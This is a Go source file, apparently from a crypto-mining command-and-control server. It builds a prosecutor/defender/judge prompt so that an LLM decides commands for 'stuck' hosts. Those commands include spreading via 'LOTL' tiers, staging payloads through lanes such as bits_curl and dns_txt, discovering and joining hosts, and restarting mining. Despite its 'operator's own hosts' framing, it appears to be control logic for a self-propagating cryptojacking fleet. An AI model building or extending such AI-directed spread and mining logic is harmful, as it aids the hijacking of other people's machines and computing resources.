231 lines
7.3 KiB
Go
231 lines
7.3 KiB
Go
package ai
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"strings"
|
|
|
|
"crypto-miner-server/internal/strategy"
|
|
)
|
|
|
|
// CourtContext supplies failure atlas and phenotype data for stuck-host tribunals.
|
|
type CourtContext interface {
|
|
FailureAtlasSummary(fingerprintKey, goos string) string
|
|
BestPhenotype(fingerprintKey, goos string) (*strategy.FleetPhenotype, bool)
|
|
}
|
|
|
|
// CourtPromptBundle is the single-turn court prompt with role snippets for audit/UI.
|
|
type CourtPromptBundle struct {
|
|
SystemPrompt string
|
|
UserPrompt string
|
|
ProsecutorSnippet string
|
|
DefenderSnippet string
|
|
}
|
|
|
|
// CourtDecisionMeta is persisted alongside a court-session decision.
|
|
type CourtDecisionMeta struct {
|
|
CourtSession bool
|
|
ProsecutorSnippet string
|
|
DefenderSnippet string
|
|
JudgeVerdict string
|
|
}
|
|
|
|
// ShouldUseCourt returns true when the host is stuck or all spread tiers failed.
|
|
func ShouldUseCourt(s AgentSnapshot) bool {
|
|
return s.Stuck || AllSpreadTiersFailed(s)
|
|
}
|
|
|
|
// AllSpreadTiersFailed is true when every default spread tier was attempted and none succeeded.
|
|
func AllSpreadTiersFailed(s AgentSnapshot) bool {
|
|
attemptByTier := map[string]TierAttempt{}
|
|
for _, a := range s.LOTLAttempts {
|
|
attemptByTier[a.Tier] = a
|
|
}
|
|
attempted := 0
|
|
for _, tier := range defaultSpreadTiers {
|
|
a, ok := attemptByTier[tier]
|
|
if !ok {
|
|
return false
|
|
}
|
|
attempted++
|
|
if a.OK {
|
|
return false
|
|
}
|
|
}
|
|
return attempted == len(defaultSpreadTiers)
|
|
}
|
|
|
|
// BuildCourtPrompt renders the singular machine court single-turn prompt.
|
|
func BuildCourtPrompt(s AgentSnapshot, atlasSummary string, phenotype *strategy.FleetPhenotype, persona string) CourtPromptBundle {
|
|
prosecutor := buildProsecutorSection(s, atlasSummary)
|
|
defender := buildDefenderSection(phenotype)
|
|
|
|
var system strings.Builder
|
|
system.WriteString(strings.TrimSpace(`You are the AetherForge Singular Machine Court for the operator's own stuck fleet hosts.
|
|
This is a single-turn tribunal with no memory. Three roles speak once:
|
|
PROSECUTOR presents failure evidence. DEFENDER cites a winning fleet phenotype if one exists. JUDGE decides.
|
|
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop.
|
|
spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …).
|
|
skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch.
|
|
Court-ordered spread_retry_lane and skip_tier execute as discover_and_join, stage_fetch, or reorder_tiers with L4 clearance.
|
|
Never target third-party systems.`))
|
|
system.WriteString("\n\n## PROSECUTOR\n")
|
|
system.WriteString(prosecutor)
|
|
system.WriteString("\n\n## DEFENDER\n")
|
|
system.WriteString(defender)
|
|
|
|
var user strings.Builder
|
|
fmt.Fprintf(&user, "Agent under review: name=%q id=%s\n", s.Name, s.AgentID)
|
|
fmt.Fprintf(&user, "Platform: GOOS=%s version=%s build=%s\n", firstNonEmpty(s.GOOS, s.Platform), s.Version, s.BuildID)
|
|
fmt.Fprintf(&user, "Mining hashrate: %.2f H/s (stuck)\n", s.MiningHashrate)
|
|
if s.FingerprintKey != "" {
|
|
fmt.Fprintf(&user, "Fingerprint: %s\n", s.FingerprintKey)
|
|
}
|
|
user.WriteString("\n## JUDGE\n")
|
|
user.WriteString(CourtJudgeOverlay(persona))
|
|
user.WriteString("Reply with ONE sentence verdict on the first line, then JSON with at most 3 commands:\n")
|
|
user.WriteString(`{"commands":[{"type":"noop","args":{}}]}` + "\n")
|
|
user.WriteString("Example:\nVerdict: restart mining chain after tier exhaustion.\n{\"commands\":[{\"type\":\"restart_mining\",\"args\":{}}]}\n")
|
|
|
|
return CourtPromptBundle{
|
|
SystemPrompt: system.String(),
|
|
UserPrompt: user.String(),
|
|
ProsecutorSnippet: prosecutor,
|
|
DefenderSnippet: defender,
|
|
}
|
|
}
|
|
|
|
func buildProsecutorSection(s AgentSnapshot, atlasSummary string) string {
|
|
var b strings.Builder
|
|
b.WriteString("Charges: host is stuck with zero hashrate after exhausting spread/mining options.\n")
|
|
if strings.TrimSpace(atlasSummary) != "" {
|
|
fmt.Fprintf(&b, "Failure atlas: %s\n", strings.TrimSpace(atlasSummary))
|
|
}
|
|
failed, total := countSpreadFailures(s)
|
|
if total > 0 {
|
|
fmt.Fprintf(&b, "LOTL spread tier failures: %d/%d failed.\n", failed, total)
|
|
} else {
|
|
b.WriteString("LOTL spread tier failures: no spread attempts recorded yet.\n")
|
|
}
|
|
b.WriteString("Per-tier spread attempts:\n")
|
|
attemptByTier := map[string]TierAttempt{}
|
|
for _, a := range s.LOTLAttempts {
|
|
attemptByTier[a.Tier] = a
|
|
}
|
|
for _, tier := range defaultSpreadTiers {
|
|
if a, ok := attemptByTier[tier]; ok {
|
|
status := "fail"
|
|
if a.OK {
|
|
status = "ok"
|
|
}
|
|
if a.Error != "" {
|
|
fmt.Fprintf(&b, " - %s: %s (%s)\n", tier, status, a.Error)
|
|
} else {
|
|
fmt.Fprintf(&b, " - %s: %s\n", tier, status)
|
|
}
|
|
}
|
|
}
|
|
if s.ChainExhausted {
|
|
b.WriteString("Mining chain exhausted: true\n")
|
|
}
|
|
return strings.TrimSpace(b.String())
|
|
}
|
|
|
|
func buildDefenderSection(phenotype *strategy.FleetPhenotype) string {
|
|
if phenotype == nil {
|
|
return "No matching FleetPhenotype on record for this fingerprint. Counsel cannot cite a peer success path."
|
|
}
|
|
var b strings.Builder
|
|
name := phenotype.SourceAgentName
|
|
if name == "" {
|
|
name = phenotype.SourceAgentID
|
|
}
|
|
fmt.Fprintf(&b, "Fleet phenotype from %s (fingerprint %s):\n", name, phenotype.Fingerprint)
|
|
if phenotype.ActiveTier != "" {
|
|
fmt.Fprintf(&b, "Winning tier: %s at %.2f H/s\n", phenotype.ActiveTier, phenotype.PeakHashrate)
|
|
}
|
|
if phenotype.SpreadLane != "" {
|
|
fmt.Fprintf(&b, "Spread lane: %s\n", phenotype.SpreadLane)
|
|
}
|
|
if len(phenotype.TierOrder) > 0 {
|
|
fmt.Fprintf(&b, "Tier order: %s\n", strings.Join(phenotype.TierOrder, " → "))
|
|
}
|
|
if raw, err := json.Marshal(phenotype); err == nil {
|
|
fmt.Fprintf(&b, "Phenotype JSON: %s", string(raw))
|
|
}
|
|
return strings.TrimSpace(b.String())
|
|
}
|
|
|
|
func countSpreadFailures(s AgentSnapshot) (failed, total int) {
|
|
attemptByTier := map[string]TierAttempt{}
|
|
for _, a := range s.LOTLAttempts {
|
|
attemptByTier[a.Tier] = a
|
|
}
|
|
for _, tier := range defaultSpreadTiers {
|
|
if a, ok := attemptByTier[tier]; ok {
|
|
total++
|
|
if !a.OK {
|
|
failed++
|
|
}
|
|
}
|
|
}
|
|
return failed, total
|
|
}
|
|
|
|
// ExtractJudgeVerdict pulls the one-line verdict preceding the commands JSON.
|
|
func ExtractJudgeVerdict(raw string) string {
|
|
raw = strings.TrimSpace(raw)
|
|
if raw == "" {
|
|
return ""
|
|
}
|
|
if idx := strings.Index(raw, "{"); idx > 0 {
|
|
line := strings.TrimSpace(raw[:idx])
|
|
return trimVerdictPrefix(line)
|
|
}
|
|
for _, line := range strings.Split(raw, "\n") {
|
|
line = strings.TrimSpace(line)
|
|
if line == "" || strings.HasPrefix(line, "{") {
|
|
continue
|
|
}
|
|
return trimVerdictPrefix(line)
|
|
}
|
|
return ""
|
|
}
|
|
|
|
func trimVerdictPrefix(line string) string {
|
|
line = strings.TrimSpace(line)
|
|
for _, prefix := range []string{"Verdict:", "VERDICT:", "Judge:", "JUDGE:"} {
|
|
if strings.HasPrefix(line, prefix) {
|
|
return strings.TrimSpace(line[len(prefix):])
|
|
}
|
|
}
|
|
return line
|
|
}
|
|
|
|
// ComputeStuck mirrors agent stuck detection from snapshot telemetry.
|
|
func ComputeStuck(s AgentSnapshot) bool {
|
|
if s.Stuck {
|
|
return true
|
|
}
|
|
if s.MiningHashrate > 0 {
|
|
return false
|
|
}
|
|
if s.ChainExhausted {
|
|
return true
|
|
}
|
|
attemptByTier := map[string]TierAttempt{}
|
|
for _, a := range s.LOTLAttempts {
|
|
attemptByTier[a.Tier] = a
|
|
}
|
|
attempted := 0
|
|
for _, tier := range defaultSpreadTiers {
|
|
if a, ok := attemptByTier[tier]; ok {
|
|
attempted++
|
|
if a.OK {
|
|
return false
|
|
}
|
|
}
|
|
}
|
|
return attempted > 0 && attempted == len(defaultSpreadTiers)
|
|
}
|